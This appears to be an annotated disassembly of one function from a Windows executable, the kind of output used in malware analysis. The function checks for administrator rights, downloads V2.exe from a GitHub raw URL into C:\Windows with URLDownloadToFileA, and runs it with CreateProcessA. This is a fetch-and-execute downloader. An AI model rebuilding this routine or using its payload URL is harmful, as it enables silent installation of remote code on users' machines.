Function at 0x1400058a0
Capabilities:
Create process on windows
Download url
Get token membership
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x1400f1ec0]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rsp + 0x88], 0x23290078
mov edx, dword [rsp + 0x88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
xor esi, esi
mov dword [rsp + 0x90], esi
mov dword [rsp + 0x94], 0x80077
lea r8, [rsp + 0x90]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x14000594a
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0xb4
mov edx, 0x82
mov r9d, 0x3c0
mov r8d, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_MoveWindow]
nop
mov dword [rsp + 0x88], esi
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x90], 0
mov word [rsp + 0x94], 0x500
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400059cd
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x88], 0
jne 0x140005a04
lea rdx, str.Error:_Please_run_this_program_as_administrator.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009d90
lea rdx, [0x140009f60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140005e6e
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx edi, word [rsp + 0x78]
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n______________________________________________________________________________________n____________________________________________________________________________________n____________________________________________________________________________________n_____________________________________________________________________________n___________________________________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009d90
lea rdx, [0x140009f60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx edx, di
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x1400f3430]
call fcn.140028820
cmp byte [0x1400f3640], 0
jne 0x140005aca
lea rdx, str.Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009d90
lea rdx, [0x1400f3648]
cmp qword [0x1400f3660], 0xf
cmova rdx, qword [0x1400f3648]
mov r8, qword [0x1400f3658]
mov rcx, rax
call fcn.14000ee20
lea rdx, [0x140009f60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140005e6e
call fcn.140005510
test al, al
jne 0x140005add
mov eax, 1
jmp 0x140005e6e
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rsi
mov r8d, reloc.WS2_32.dll_gethostname
lea rdx, str.https:__github.com_realrank1_example_repo_raw_main_V2.exe
lea rcx, [rsp + 0xb8]
call fcn.14000a750
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rsi
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.C:WindowsV2.exe
lea rcx, [rsp + 0x98]
call fcn.14000a750
nop
lea r8, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova r8, qword [rsp + 0x98]
lea rdx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0xf
cmova rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x140005be3
lea rdx, str.Error:_Failed_to_download_file_from
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009d90
lea rdx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0xf
cmova rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc8]
mov rcx, rax
call fcn.14000ee20
lea rdx, [0x140009f60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140005cd7
mov dword [rsp + 0xe0], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140005d83
lea rdx, str.Error:_Failed_to_execute
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009d90
lea rdx, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa8]
mov rcx, rax
call fcn.14000ee20
lea rdx, [0x140009f60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x140005d1a
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005df7
call fcn.1400ba81c
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x140005d79
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e59
call fcn.1400ba81c
mov eax, 1
jmp 0x140005e6e
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Success:_Program_executed_successfully_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009d90
lea rdx, [0x140009f60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x140005e03
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005dfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005dfe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ba81c
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x140005e65
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ba81c
xor eax, eax
jmp 0x140005e6e
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400ba580
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret